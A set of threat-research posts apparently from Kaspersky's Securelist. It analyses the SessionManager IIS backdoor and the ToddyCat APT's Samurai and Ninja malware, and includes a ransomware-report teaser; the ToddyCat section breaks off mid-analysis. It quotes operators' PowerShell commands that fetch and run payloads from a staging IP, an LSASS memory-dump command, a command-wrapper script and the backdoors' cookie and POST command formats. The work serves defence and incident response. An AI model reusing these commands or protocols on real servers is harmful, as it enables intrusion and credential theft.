Kaspersky Securelist

Syndikovat obsah Securelist
Aktualizace: 15 min 58 sek zpět

The SessionManager IIS backdoor

30 Červen, 2022 - 10:00

Following on from our earlier Owowa discovery, we continued to hunt for more backdoors potentially set up as malicious modules within IIS, a popular web server edited by Microsoft. And we didn’t come back empty-handed…

In 2021, we noticed a trend among several threat actors for deploying a backdoor within IIS after exploiting one of the ProxyLogon-type vulnerabilities within Microsoft Exchange servers. Dropping an IIS module as a backdoor enables threat actors to maintain persistent, update-resistant and relatively stealthy access to the IT infrastructure of a targeted organization; be it to collect emails, update further malicious access, or clandestinely manage compromised servers that can be leveraged as malicious infrastructure.

In early 2022, we investigated one such IIS backdoor: SessionManager. In late April 2022, most of the samples we identified were still not flagged as malicious in a popular online file scanning service, and SessionManager was still deployed in over 20 organizations.

SessionManager has been used against NGOs, government, military and industrial organizations in Africa, South America, Asia, Europe, Russia and the Middle East, starting from at least March 2021. Because of the similar victims, and use of a common OwlProxy variant, we believe the malicious IIS module may have been leveraged by the GELSEMIUM threat actor, as part of espionage operations.

SessionManager: there’s yet another unwanted module in your web server

Developed in C++, SessionManager is a malicious native-code IIS module whose aim is to be loaded by some IIS applications, to process legitimate HTTP requests that are continuously sent to the server.

Such malicious modules usually expect seemingly legitimate but specifically crafted HTTP requests from their operators, trigger actions based on the operators’ hidden instructions if any, then transparently pass the request to the server for it to be processed just like any other request (see Figure 1).

As a result, such modules are not easily spotted by usual monitoring practices: they do not necessarily initiate suspicious communications to external servers, receive commands through HTTP requests to a server that is specifically exposed to such processes, and their files are often placed in overlooked locations that contain a lot of other legitimate files.

Figure 1. Malicious IIS module processing requests

SessionManager offers the following capabilities that, when combined, make it a lightweight persistent initial access backdoor:

  • Reading, writing to and deleting arbitrary files on the compromised server.
  • Executing arbitrary binaries from the compromised server, also known as “remote command execution”.
  • Establishing connections to arbitrary network endpoints that can be reached by the compromised server, as well as reading and writing in such connections.

We identified several variants of the SessionManager module, all including remains of their development environment (PDB paths) and compilation dates that are consistent with observed activity timeframes. This demonstrates a continuous effort to update the backdoor:

  • V0: the compilation date of the oldest sample we identified (MD5 5FFC31841EB3B77F41F0ACE61BECD8FD) is from March 2021. The sample contains a development path (PDB path): “C:\Users\GodLike\Desktop\t\t4\StripHeaders-master\x64\Release\sessionmanagermodule.pdb”. This indicates the SessionManager developer might have used the public source code of the StripHeaders IIS module as a template to first design SessionManager.
  • V1: a later sample (MD5 84B20E95D52F38BB4F6C998719660C35) has a compilation date from April 2021, and a PDB path set as “C:\Users\GodLike\Desktop\t\t4\SessionManagerModule\x64\Release\sessionmanagermodule.pdb”.
  • V2: another sample (MD5 4EE3FB2ABA3B82171E6409E253BDDDB5) has a compilation date from August 2021, and a PDB path which is identical to the previous V1, except for the project folder name which is “SessionManagerV2Module”.
  • V3: finally, the last sample we could identify (MD5 2410D0D7C20597D9B65F237F9C4CE6C9) is dated from September 2021 and has a project folder name set to “SessionManagerV3Module”.
SessionManager command and control protocol details

SessionManager hooks itself in the HTTP communications processing of the web server by checking HTTP data just before IIS answers to an HTTP request (see Figure 2). In this specific step of HTTP processing, SessionManager can check the whole content of the HTTP request from a client (an operator), and modify the answer that is sent to the client by the server (to include results from backdoor activities), as previously shown in Figure 1.

Figure 2. SessionManager registration within the web server upon loading

Commands are passed from an operator to SessionManager using a specific HTTP cookie name. The answer from the backdoor to an operator will usually be inserted in the body of the server HTTP response. If the expected cookie name and value format are not found in an HTTP request from a client, the backdoor will do nothing, and processing will continue as if the malicious module did not exist.

The specific HTTP cookie name that is checked by SessionManager is “SM_SESSIONID” in variants before V2 (excluded), and “SM_SESSION” after. Formatting the exact command names and arguments also depends on the backdoor variant:

  • Before V2 (excluded), most of the commands and associated parameters are all passed as a value[1] of the required SessionManager HTTP cookie, such as for a file reading command:
    Cookie: SM_SESSIONID=ReadFile-afile.txt The remote execution and the file writing functionalities require additional command data to be passed within the HTTP request body.
  • After V2 (included), only the command name is passed as a value of the required SessionManager HTTP cookie. Command parameters are passed using names and values[2] of additional cookies, while some commands still require data to be passed within the HTTP body as well. For example, the HTTP cookies definition for a file-reading command looks like this:
    Cookie: SM_SESSION=GETFILE;FILEPATH=afile.txt;

The results of executed commands are returned as body data within HTTP responses. Before V2 (excluded), SessionManager did not encrypt or obfuscate command and control data. Starting with V2 (included), an additional “SM_KEY” cookie can be included in HTTP requests from operators: if so, its value will be used as an XOR key to encode results that are sent by SessionManager.

The comprehensive list of commands for the most recent variant of SessionManager is presented below:

Command name
(SM_SESSION cookie value) Command parameters
(additional cookies)
Associated capability GETFILE FILEPATH: path of file to be read. FILEPOS1: offset at which to start reading, from file start.

FILEPOS2: maximum number of bytes to read. Read the content of a file on the compromised server and send it to the operator as an HTTP binary file named cool.rar. PUTFILE FILEPATH: path of file to be written.

FILEPOS1: offset at which to start writing.

FILEPOS2: offset reference.

FILEMODE: requested file access type. Write arbitrary content to a file on the compromised server. The data to be written in the specified file is passed within the HTTP request body. DELETEFILE FILEPATH: path of file to be deleted. Delete a file on the compromised server. FILESIZE FILEPATH: path of file to be measured. Get the size (in bytes) of the specified file. CMD None. Run an arbitrary process on the compromised server. The process to run and its arguments are specified in the HTTP request body using the format: <executable path>\t<arguments>. The standard output and error data from process execution are sent back as plain text to the operator in the HTTP response body. PING None. Check for SessionManager deployment. The “Wokring OK” (sic.) message will be sent to the operator in the HTTP response body. S5CONNECT S5HOST: hostname to connect to (exclusive with S5IP).

S5PORT: offset at which to start writing.

S5IP: IP address to connect to if no hostname is given (exclusive with S5HOST).

S5TIMEOUT: maximum delay in seconds to allow for connection. Connect from compromised host to a specified network endpoint, using a created TCP socket. The integer identifier of the created and connected socket will be returned as the value of the S5ID cookie variable in the HTTP response, and the status of the connection will be reported in the HTTP response body. S5WRITE S5ID: identifier of the socket to write to, as returned by S5CONNECT. Write data to the specified connected socket. The data to be written in the specified socket is passed within the HTTP request body. S5READ S5ID: identifier of the socket to read from, as returned by S5CONNECT. Read data from the specified connected socket. The read data is sent back within the HTTP response body. S5CLOSE S5ID: identifier of the socket to close, as returned by S5CONNECT. Terminate an existing socket connection. The status of the operation is returned as a message within the HTTP response body. Post-deployment activities by SessionManager operators

Once deployed, SessionManager is leveraged by operators to further profile the targeted environment, gather in-memory passwords and deploy additional tools. Notably, operators used Powershell WebClient functionality from a SessionManager remote execution command to download from the server IP address 202.182.123[.]185, between March and April 2021, such as:

powershell "(New-Object Net.WebClient).DownloadFile('hxxp://202.182.123[.]185/Dll2.dll','C:\Windows\Temp\win32.dll')" powershell "(New-Object Net.WebClient).DownloadFile('hxxp://202.182.123[.]185/ssp.exe','C:\Windows\Temp\win32.exe')" C:\Windows\Temp\win32.exe C:\Windows\Temp\win32.dll

Additional tools that operators attempted to download and execute from SessionManager include a PowerSploit-based reflective loader for the Mimikatz DLL, Mimikatz SSP, ProcDump, as well as a legitimate memory dump tool from Avast (MD5 36F2F67A21745438A1CC430F2951DFBC). The latter has been abused by SessionManager operators to attempt to read the memory of the LSASS process, which would enable authentication secrets collection on the compromised server. Operators also tried to leverage the Windows built-in Minidump capability to do the same thing.

In order to avoid detection by security products (which obviously failed in our case), SessionManager operators sometimes attempted additional malicious execution by running launcher scripts through the Windows services manager command line. Starting from November 2021, operators tried to leverage custom PyInstaller-packed Python scripts to obfuscate command execution attempts. This kind of Python script source code would look as follows:

import os, sys, base64, codecs from subprocess import PIPE, Popen def cmdlet(c): cmdlet = c.split('(-)') p = Popen(cmdlet, stdin=PIPE, stdout=PIPE, stderr=PIPE, shell=True) _out, _err = p.communicate() return (codecs.decode(_out, errors='backslashreplace'), codecs.decode(_out, errors='backslashreplace')) print('\n---------------------\n'.join(cmdlet(sys.argv[1])))

And as a result, command execution attempts through this tool were made as follows:

C:\Windows\Temp\vmmsi.exe cmd.exe(-)/c(-)"winchecksec.exe -accepteula -ma lsass.exe seclog.dmp"

In one case in December 2021, SessionManager operators attempted to execute an additional tool that we unfortunately could not retrieve. This tool was set up to communicate with the IP address 207.148.109[.]111, which is most likely part of the operators’ infrastructure.

SessionManager targets

We managed to identify 34 servers that were compromised by a SessionManager variant, belonging to 24 distinct organizations in Argentina, Armenia, China, Djibouti, Equatorial Guinea, Eswatini, Hong Kong, Indonesia, Kenya, Kuwait, Malaysia, Nigeria, Pakistan, Poland, the Russian Federation, Saudi Arabia, Taiwan, Thailand, Turkey, the United Kingdom and Vietnam (see Figure 3).

Usually, we could only identify one compromised server per organization, and only one compromised organization per location; but Vietnam is the main exception as several compromised servers from several organizations could be identified there. Amongst the identified organizations, 20 were still running a compromised server as late as June 2022.

Additionally, we managed to identify an earlier target of the same campaign that was not compromised with SessionManager, in Laos in mid-March 2021 (see Attribution).

Figure 3. Map of organizations targeted by SessionManager campaign (darker color indicates a higher concentration) (download)

Most of the compromised servers belong to government or military organizations, but we also identified international and national non-government organizations, an electronic equipment manufacturer, a shipbuilding company, a health care and surgery group, a local road transportation company, a state oil company, a state electricity company, a sales kiosk manufacturer, and an ERP software editor.


First, we identified an additional malicious binary (MD5 5F15B17FA0E88D40D4E426E53CF94549, compilation date set in April 2020) that shares a common PDB path part with SessionManager samples (“C:\Users\GodLike\Desktop\t\”). This binary is a password stealer designed to grab Windows users’ passwords when they are changed. It is compiled from a Chinese-documented public source code called Hook-PasswordChangeNotify. Unfortunately, we could not retrieve any additional details about this binary exploitation, but it may have been developed by the same developer as SessionManager.

Then in mid-March 2021, shortly before our first SessionManager detection, we noticed that a threat actor leveraged ProxyLogon-type vulnerabilities against an Exchange Server in Laos to deploy a web shell and conduct malicious activities using the same Mimikatz SSP and Avast memory dump tools that we described above (see Post-deployment activities from SessionManager operators). Not only were the tool samples the same, but one of them was downloaded from the staging server that SessionManager operators leveraged (202.182.123[.]185). As a result, we believe with medium to high confidence that those malicious activities were conducted by the same threat actor behind SessionManager.

Interestingly, the threat actor attempted to download and execute two samples of an HTTP server-type backdoor called OwlProxy on the compromised server in Laos. We then discovered that at least one of those OwlProxy samples had also been downloaded from 202.182.123[.]185 on at least two SessionManager-compromised servers in late March 2021. As a result, we believe with medium to high confidence that the threat actor who operates SessionManager also used or tried to use those OwlProxy samples before introducing SessionManager.

The specific OwlProxy variant of the samples we retrieved has only been documented as part of GELSEMIUM’s activities. We also noticed that SessionManager targets (see SessionManager targets) partly overlap with GELSEMIUM victims. As a result, we believe that SessionManager might be operated by GELSEMIUM, but not necessarily only GELSEMIUM.

Getting rid of IIS malicious modules

Once again, the activities described here show that the ProxyLogon-type vulnerabilities have been widely used since March 2021 to deploy relatively simple yet very effective persistent server accesses, such as the SessionManager backdoor.

While some of the ProxyLogon exploitation by advanced threat actors was documented right away, notably by Kaspersky, SessionManager was poorly detected for a year. Facing massive and unprecedented server-side vulnerability exploitation, most cybersecurity actors were busy investigating and responding to the first identified offences. As a result, it is still possible to discover related malicious activities months or years later, and that will probably be the case for a long time.

In any case, we cannot stress enough that IIS servers must undergo a complete and dedicated investigation process after the gigantic opportunity that ProxyLogon-style vulnerabilities exposed, starting in 2021. Loaded IIS modules can be listed for a running IIS instance by using the IIS Manager GUI, or from the IIS appcmd command line. If a malicious module is identified, we recommend the following template of actions (merely deleting the malicious module file will not be enough to get rid of it):

  • Take a volatile memory snapshot on the currently running system where IIS is executed. Request assistance from forensics and incident response experts if required.
  • Stop the IIS server, and ideally disconnect the underlying system from publicly reachable networks.
  • Back up all files and logs from your IIS environment, to retain data for further incident response. Check that the backups can be opened or extracted successfully.
  • Using IIS Manager or the appcmd command tool, remove every reference of the identified module from apps and server configurations. Manually review associated IIS XML configuration files to make sure any reference to the malicious modules have been removed – manually remove the references in XML files otherwise.
  • Update the IIS server and underlying operating system to make sure no known vulnerabilities remain exposed to attackers.
  • Restart the IIS server and bring the system online again.

It is advised to then proceed with malicious module analysis and incident response activities (from the memory snapshot and backups that have been prepared), in order to understand how the identified malicious tools have been leveraged by their operators.

Indicators of Compromise


Mimikatz runners

PyInstaller-packed process creation wrapper

OwlProxy variant samples

Possibly related password stealer

Files paths
%PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OWA\Auth\SessionManagerModule.dll
%PROGRAMFILES%\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\SessionManagerModule.dll

PDB Paths

IP addresses
202.182.123[.]185 (Staging server, between 2021-03 and 04 at least)
207.148.109[.]111 (Unidentified infrastructure)


[1] As per RFC:2109 (title 4.1) and its successor RFC:2965 (title 3.1), values of HTTP cookies that contain characters such as filepath backslashes should be quoted. SessionManager does not care to comply with referenced RFCs, and does not unquote such values, so will fail to process a cookie value that contains filepaths including backslashes as sent by standard HTTP clients.

[2] The previous cookie value limitations (see footnote 1) still exist with V2+. In addition, any cookie variable definition to be processed by SessionManager V2+ must be terminated with a ‘;’ character, even if there is only one cookie variable set.

The hateful eight: Kaspersky’s guide to modern ransomware groups’ TTPs

23 Červen, 2022 - 12:00

These days ransomware analysis gets a lot of coverage in commercial and public reports, with vendors issuing dozens of ransomware-related publications each year. These reports provide analysis on specific malware families or new samples, describe the activities of a particular ransomware group, give general tips on how to prevent ransomware from working, and so on. Malware analysts and security professionals can learn a lot from these reports, but not much of the content has an immediate or practical use. With the release of the report Common TTPs of modern ransomware, Kaspersky experts have taken a different approach. We want to familiarize the reader with the different stages of ransomware deployment, how cybercriminals use RATs and other tools across the various stages and what they aim to achieve. The report also provides a visual guide to defending against targeted ransomware attacks, using the most prolific groups as examples, and introduces the reader to the SIGMA detection rules that we created.

What are the ransomware groups?

For the report we selected the eight most common ransomware groups:

  1. Conti/Ryuk
  2. Pysa
  3. Clop (TA505)
  4. Hive
  5. Lockbit2.0
  6. RagnarLocker
  7. BlackByte
  8. BlackCat

We analyzed in detail the attacks these groups perpetrated and employed techniques and tactics described in MITRE ATT&CK to identify a large number of shared TTPs. By tracking all the groups and detecting their attacks, we saw that the core techniques remain the same throughout the cyber kill chain. The attack patterns revealed are not accidental because this class of attack requires the hackers to go through certain stages, such as penetrating the corporate network or victim’s computer, delivering malware, further discovery, account hijacking, deleting shadow copies, removing backups and, finally, achieving their objectives.

To highlight the common components and TTPs shared by the ransomware groups across different attack patterns, we’ve created a common cyber kill chain diagram. It provides a visual representation of the techniques and tactics used by different ransomware operators.

Once the incident data relating to the ransomware groups has been collected, we can identify the TTPs characteristic of each of them and then superimpose these onto the shared cyber kill chain. The arrows indicate the sequence of specific techniques and the colours mark the individual groups that have been known to deploy these techniques.

Whom is the report for?

This report is written for SOC analysts, threat hunting teams, cyberthreat intelligence analysts, digital forensics specialists and cybersecurity specialists that are involved in the incident response process and/or want to protect the environment they are responsible for from targeted ransomware attacks. Our main goal is to help with understanding how ransomware groups generally operate and how to defend against their attacks.

You can use this report as a book of knowledge on the main techniques used by ransomware groups, for writing hunting rules and for auditing your security solutions.

The report contains
  • Tactics, techniques and procedures (TTPs) of eight modern ransomware groups: Conti/Ryuk, Pysa, Clop (TA505), Hive, Lockbit2.0, RagnarLocker, BlackByte, and BlackCat
  • A description of how different groups share more than half of the common components and TTPs, with the core attack stages being executed identically across groups
  • A cyber kill chain diagram that combines the visible intersections and common elements of the selected ransomware groups and makes it possible to predict the threat actors’ next steps
  • A detailed analysis of each technique with examples of how they are being used by various groups and a comprehensive list of mitigations
  • SIGMA rules based on described TTPs that can be applied to SIEM solutions

Fill the form below to download the Common TTPs of modern ransomware report (English, PDF)

MktoForms2.loadForm("//app-sj06.marketo.com", "802-IJN-240", 7003, function(form) { form.onSuccess(function(values, followUpUrl){ //Take the lead to a different page on successful submit, ignoring the forms configured followUpUrl. location.href = "https://go.kaspersky.com/rs/802-IJN-240/images/Common-TTPs-of-the-modern-ransomware_low-res.pdf"; //return false to prevent the submission handler continuing with its own processing return false; }); }); .googleRecaptcha { padding: 20px !important; } var GOOGLE_RECAPTCHA_SITE_KEY = '6Lf2eUQUAAAAAC-GQSZ6R2pjePmmD6oA6F_3AV7j'; var insertGoogleRecaptcha = function (form) { var formElem = form.getFormElem().get(0); if (formElem && window.grecaptcha) { var div = window.document.createElement('div'); var divId = 'g-recaptcha-' + form.getId(); var buttonRow = formElem.querySelector('.mktoButtonRow'); var button = buttonRow ? buttonRow.querySelector('.mktoButton[type="submit"]') : null; var submitHandler = function (e) { var recaptchaResponse = window.grecaptcha && window.grecaptcha.getResponse(widgetId); e.preventDefault(); if (form.validate()) { if (!recaptchaResponse) { div.setAttribute('data-error', 'true'); } else { div.setAttribute('data-error', 'false'); form.addHiddenFields({ reCAPTCHAFormResponse: recaptchaResponse, }); form.submit(); } } }; div.id = divId; div.classList.add('googleRecaptcha'); if (button) { button.addEventListener('click', submitHandler); } if (buttonRow) { formElem.insertBefore(div, buttonRow); } if (window.grecaptcha.render) { var widgetId = window.grecaptcha.render(divId, { sitekey: GOOGLE_RECAPTCHA_SITE_KEY, }); formElem.style.display = ''; } } }; function onloadApiCallback() { var forms = MktoForms2.allForms(); for (var i = 0; i < forms.length; i++) { insertGoogleRecaptcha(forms[i]); } } (function () { MktoForms2.whenReady(function (form) { form.getFormElem().get(0).style.display = 'none'; jQuery.getScript('//www.google.com/recaptcha/api.js?onload=onloadApiCallback'); }); })();

APT ToddyCat

21 Červen, 2022 - 12:00

ToddyCat is a relatively new APT actor that we have not been able to relate to other known actors, responsible for multiple sets of attacks detected since December 2020 against high-profile entities in Europe and Asia. We still have little information about this actor, but we know that its main distinctive signs are two formerly unknown tools that we call ‘Samurai backdoor’ and ‘Ninja Trojan’.

The group started its activities in December 2020, compromising selected Exchange servers in Taiwan and Vietnam using an unknown exploit that led to the creation of a well-known China Chopper web shell, which was in turn used to initiate a multi-stage infection chain. In that chain we observed a number of components that include custom loaders used to stage the final execution of the passive backdoor Samurai.

During the first period, between December 2020 and February 2021, the group targeted a very limited number of servers in Taiwan and Vietnam, related to three organizations.

From February 26 until early March, we observed a quick escalation and the attacker abusing the ProxyLogon vulnerability to compromise multiple organizations across Europe and Asia.

We suspect that this group started exploiting the Microsoft Exchange vulnerability in December 2020, but unfortunately, we don’t have sufficient information to confirm the hypothesis. In any case, it’s worth noting that all the targeted machines infected between December and February were Microsoft Windows Exchange servers; the attackers compromised the servers with an unknown exploit, with the rest of the attack chain the same as that used in March.

Other vendors observed the attacks launched in March. Our colleagues at ESET dubbed the cluster of activities ‘Websiic’, while the Vietnamese company GTSC released a report about the infection vector and the technique used to deploy the first dropper. That said, as far as we know, none of the public accounts described sightings of the full infection chain or later stages of the malware deployed as part of this group’s operation.

The first wave of attacks exclusively targeted Microsoft Exchange Servers, which were compromised with Samurai, a sophisticated passive backdoor that usually works on ports 80 and 443. The malware allows arbitrary C# code execution and is used with multiple modules that allow the attacker to administrate the remote system and move laterally inside the targeted network.

In some specific cases, the Samurai backdoor was also used to launch another sophisticated malicious program that we dubbed Ninja. This tool is probably a component of an unknown post-exploitation toolkit exclusively used by ToddyCat.

Based on the code logic, it appears that Ninja is a collaborative tool allowing multiple operators to work on the same machine simultaneously. It provides a large set of commands, which allow the attackers to control remote systems, avoid detection and penetrate deep inside a targeted network. Some capabilities are similar to those provided in other notorious post-exploitation toolkits. For example, Ninja has a feature like Cobalt Strike pivot listeners, which can limit the number of direct connections from the targeted network to the remote C2 and control systems without internet access. It also provides the ability to control the HTTP indicators and camouflage malicious traffic in HTTP requests that appear legitimate by modifying HTTP header and URL paths. This feature provides functionality that reminds us of the Cobalt Strike Malleable C2 profile.

Since it first appeared in December 2020, ToddyCat has continued its intense activity, especially in Asia where we detect many other variants of loaders and installers similar to those abused to load Samurai and Ninja malware. We also observed other waves of attacks against desktop machines that were infected by sending the malicious loaders via Telegram.

First Campaign Infection vector

Based on our telemetry, ToddyCat started to compromise servers on December 22, 2020, using an unknown exploit against the Microsoft Exchange component. The exploit was used to deploy the China Chopper web shell, which was used in turn to download and execute another dropper, debug.exe.

Starting from February 26, we observed the same infection chain and samples observed in December and January, deployed using ProxyLogon.

Stage 1 – Dropper

The dropper installs all the other components and creates multiple registry keys to force the legitimate svchost.exe process to load the final Samurai backdoor.

Infection workflow

The program debug.exe makes use of a special resolution function that is used every time it calls a Windows API. The code checks if the pointer is already resolved and placed into a global variable. If the value was not found, it goes on to retrieve the address using the resolution function, which receives a handle to the library that contains the API and an encrypted string of the requested API name, following which it decrypts the string using an XOR-based algorithm.

Code snippet used to resolve and call CryptDestroyKey and CryptReleaseContext functions

The dropper was configured to load an encrypted payload stored in another file, debug.xml. The data are decrypted using the standard Wincrypt functions with the CALG_3DES_112 algorithm and a static key embedded in the code. Once decrypted, the file shows a structure that contains multiple payloads and values used to install the next stages.

Field Value magic 0x12345678 DotNet_Loader_v2_Payload websvc.dll payload compatible with .Net Framework v2.0 DotNet_Loader_v4_Payload websvc.dll payload compatible with .Net Framework v4.0 Loader_Dll_Payload iiswmi.dll dll loader ServiceName WebUpdate Path_DotNet_Loader %COMMONPROGRAMFILES%\System\websvc.dll Path_Loader_Dll %COMMONPROGRAMFILES%\microsoft shared\WMI\iiswmi.dll RegKey_Path_Service_SvcHost SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost RegKey_Path_Interface SOFTWARE\Classes\Interface\{6FD0637B-85C6-D3A9-CCE9-65A3F73ADED9} Reg_Interface_Payload_v4 Samurai backdoor for .Net Framework v4.0 Reg_Interface_Payload_v2 Samurai backdoor for .Net Framework v2.0

Once the values are retrieved from the file, the malware conducts a sequence of actions in order to stage the next component in the infection chain:

  1. Attempts to create the directory %COMMONPROGRAMFILES%\Microsoft Shared\wmi\ that will contain the DLL used for the next stage.
  2. Checks if a service corresponding to the subsequent stage already exists, and if so attempts to stop it.
  3. Checks if the .NET framework of version 2.0 is installed by attempting to open the registry key SOFTWARE\Microsoft\.NETFramework\policy\v2.0
  4. If the key exists, the malware drops the element we refer to as DotNet_Loader_v2_Payload to %COMMONPROGRAMFILES%\System\websvc.dll; otherwise, it drops the contents of DotNet_Loader_v4_Payload in the same path.
  5. Drops a DLL loader used to start the second stage under the path %COMMONPROGRAMFILES%\microsoft shared\WMI\iiswmi.dll
  6. Once the aforementioned files are available on the system, the malware tries to create the registry key specified below to maintain persistence on the system. The value in that key indicates the name of the service that is created to execute the binary. Following the example below, once executed the service-related process is associated with the command line %SystemRoot%\System32\svchost.exe -k httpsvc.
    Registry Key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost Value name: httpsvc Value: WebUpdate
  7. After the service is created, the malware attempts to configure the second stage DLL and entry point within it to be executed when the service is started. This is done by setting the corresponding registry keys with the following values:
    Registry Key: $HKLM\System\ControlSet\Services\WebUpdate\Parameters Value name: ServiceDll Value: %ProgramFiles%\Common Files\microsoft shared\WMI\iiswmi.dll Registry Key: $HKLM\System\ControlSet\Services\WebUpdate\Parameters Value name: ServiceMain Value: INIT
  8. The malware drops the final payload in the infection chain as a compressed, encrypted and base64 encoded blob under the following registry key:
    Registry Key: $HKLM\SOFTWARE\Classes\Interface\{6FD0637B-85C6-D3A9-CCE9-65A3F73ADED9} Value name: Value: ILQ3Pz8/Pz87P9IFVEskWKpIeTB0jZx5SVXYXhh1fG...%encoded data%
Stage 2 – DLL Loader

The registry keys created during the previous step forced the svchost.exe process to load a malicious library developed in C++, iiswmi.dll. The code used inside the library is quite similar to the dropper and it calls the Windows API using the same special resolution function observed in the dropper.

This component is merely a loader that attempts to get an encrypted payload from the registry and pass it as an argument to another DLL manually loaded during runtime.

The malware attempts to read the contents of the previously written registry key SOFTWARE\Classes\Interface\{6FD0637B-85C6-D3A9-CCE9-65A3F73ADED9}, and if it succeeds, loads the previously dropped DLL in the path %COMMONPROGRAMFILES%\System\websvc.dll.

To invoke the next stage, the malware calls the Init export in the loaded DLL (websvc.dll) while passing the contents of the former registry key as an argument.

Code snippet used to load and execute websvc.dll

Stage 3 – .NET Loader

The websvc.dll library was developed in C# and it is another loader that expects an encrypted payload as input argument. That input is comprised of two base64-encoded strings separated by the pipe character (“|”). The first string contains the final stage and the second an encrypted configuration that is used during the execution of the next stage.

The library decodes the first string and the resulting data are decrypted with a simple single XOR with the key 0x3F and decompressed using Gzip. The resulting payload is another library written in C#, which is loaded in memory and executed by invoking a method named “Equals” from the class “X” defined in the loaded code. The second base64-encoded string loaded from the registry is passed as argument to the new C# library.

Code snippet used to load and execute final stage

Samurai backdoor

The final stage is a formerly unknown modular backdoor that we dubbed Samurai, due to a constant keyword used inside an important dictionary used by the malware to share data between its modules.

The library was developed in C# and uses the .NET HTTPListener class to receive and handle HTTP POST requests, looking for specially crafted requests that carry encrypted C# source code issued by the attackers. These programs will be in turn compiled and executed during runtime.

The malware is obfuscated with an algorithm developed to increase the difficulty of reverse engineering by making the code complicated to read. Multiple functions in the code are assigned random names, while some perform very simple actions, like getting a property of an object passed as input.

Moreover, the malware uses multiple while loops and switch cases to jump between instructions, thus flattening the control flow and making it hard to track the order of actions in the code. The flow is controlled by modifying the switch case expression value and using break and goto statements to restart the loop, re-evaluate the switch expression and jump to the correct instruction.

Code snippet with while loop and switch case

The malware’s logic starts by decrypting configuration data provided as an input argument. Those data are encoded with base64 and encrypted with the DES algorithm using the hardcoded key 90 EE 0C E1 6C 0D C9 0C. The resulting payload is a configuration file, which is customized per victim, containing multiple lines with several parameters consumed by the backdoor.

Below is an example of the configuration block’s structure:

keywordxyz C:\Windows\Temp\ http://*:80/owa/auth/sslauth/ https://*:443/owa/auth/sslauth/

The first line contains a keyword that needs to be included as a variable in the received POST request, marking it as designated for processing by the backdoor and also used to specify important session parameters like the AES session key and the list of variable names that contain the data that should be processed.

In some variants, the second line is used as a directory path, whose value is used to override the TEMP environment variable. All the other lines are URI prefixes that are used to configure the HTTPListener component, whereby each is a string composed of a scheme (HTTP or HTTPS), a host, an optional port, and an optional path defining which request will be processed by the HTTPListener object.

In several cases, the URL prefixes contained in the configuration included the victim’s domain, as in the following example: https://mail.%redacted%.gov.%redacted%/owa/auth/sslauth.

Once the configuration is successfully decrypted, the backdoor starts the listeners according to the provided configuration and waits for incoming requests. The request must to be structured as in the following example:

POST /owa/auth/sslauth/ HTTP/1.0 Host: example.xyz Headers... keywordxyz={session_AES_key,variable2,variable3}&variable2=[C# source code]&variable3=[argument_for_the_compiled_program\r\nassembly_reference1;assemb ly_reference2]


{} = encrypted with default AES key + base64 encoded [] = encrypted with session AES key + base64 encoded ### Input config ### keywordxyz C:\Windows\Temp\ http://*:80/owa/auth/sslauth/

The request body should contain three values, one of which is equal to the keyword specified in the configuration received as input. The related value should be encoded with base64 and encrypted with AES, using a predefined key. The resulting string will contain three values delimited by the comma character: the first value is another AES key that is used to decrypt the other POST values, the second is the name of the variable that contains the C# source code, and the third contains the name of the variable that contains the arguments and the list of assembly references that should be added to the compiled project.

Once compiled, the backdoor tries to invoke a method named “run” from a class named “core” that should be included in the received program. The invoked method receives two arguments as input:

  • The first one is a dictionary containing a key named “samurai” holding the current working directory path as a value.
  • The second is a value provided by the attacker in the third element of the POST request.

If the request is valid and the code is successfully executed, the backdoor replies with an HTTP 200 code, including the result generated by the invoked .NET assembly in the response body. The message will be encrypted with AES using the session key and it will be encoded with Base64.

Uploaded modules

During our investigation, we were able to discover some modules uploaded by the attackers and compiled by the Samurai backdoor:

Module Description Remote Command Execute arbitrary commands using the Windows command line, cmd.exe. File enumerator Get a list of files and directories in a specific path provided by the attacker as an argument. File exfiltration Download arbitrary files from the compromised machines. Proxy Connect Start a connection to a remote IP address and TCP port specified in the code. Proxy Handler Forward the payload received with HTTP request to the remote IP address and vice versa.

It is worth mentioning the arguments passed to the modules, which in some cases are structures with specific formats. All modules must contain a “run” method, which expects two arguments, a dictionary that contains the “samurai” keyword with the current working directory, and a string provided by the attacker. The string should include values separated by the semi-colon character (“;”).

For example, the following is a valid string for the Remote Command module:


The string contains three different fields, and each of them is encoded with base64. The decoded value for this example is the following:

cmd.exe;dir %MALDIR%\*.mwr;MALDIR=C:\Maldir

The first value is the program that will be executed, the second one is the argument that will be passed to the new process and the last one is an environment variable.

The cumbersome administration of the Samurai backdoor using arguments in this structure suggests that the Samurai backdoor is the server-side component of a bigger solution that includes at least another client component providing an interface for the operators that can be used to automatically upload some predefined modules.

Further evidence that enhances this hypothesis is related to the proxy modules, two different C# programs developed to forward TCP packets to arbitrary hosts. The attacker uses these modules to start a connection between a running instance of a Samurai backdoor and a remote host and forward the packets using the backdoor as a proxy. It is probably used to move laterally inside the compromised network. Most of the detected modules were configured to communicate with internal IPs on standard ports, such as: 135, 445, 389, 80 and 443.

The first program is used to initialize the connection and it embeds the remote IP and the remote port inside the code.

Code snippet with the socket object creation

When the connection is established, the socket object is added to the first argument received by the “run” method. This argument is usually a dictionary that contains the keyword “samurai”.

So, the socket object is stored in the dictionary as the value of a unique key, whose name is composed by the word “ninja” followed by an alphanumeric unique code. The same value is then embedded in the second program, which is used to handle the packets.

Code snippet of socket object handling

It suggests that the C# source code is probably dynamically generated by a client-side program that keeps track of proxy sessions.

Ninja Trojan

In specific cases the Samurai backdoor was used to deploy another sophisticated malware that we dubbed Ninja, a tool developed in C++, likely a part of an unknown post-exploitation toolkit developed by ToddyCat.

This tool was designed to take full control of a remote system and provide the attacker with the ability to operate deeply within the targeted network. The attacker can use a number of different commands that provide the following capabilities:

  • Enumerate and manage running processes;
  • Manage the file system;
  • Start multiple reverse shell sessions;
  • Inject code in arbitrary processes;
  • Load additional modules (probably plugins) at runtime;
  • Provide proxy functionalities to forward TCP packets between the C2 and a remote host.

Moreover, the tool can be configured to communicate using multiple protocols and it includes features to evade detection, camouflaging its malicious traffic inside HTTP and HTTPS requests that try to appear legitimate by using popular hostname and URL path combinations. The configuration is fully customizable and is similar to other features provided by famous post-exploitation tools such as Cobalt Strike and its Malleable C2 profiles.

The attacker can configure the agent to work only in specific time frames, which can be dynamically configured using a specific command.

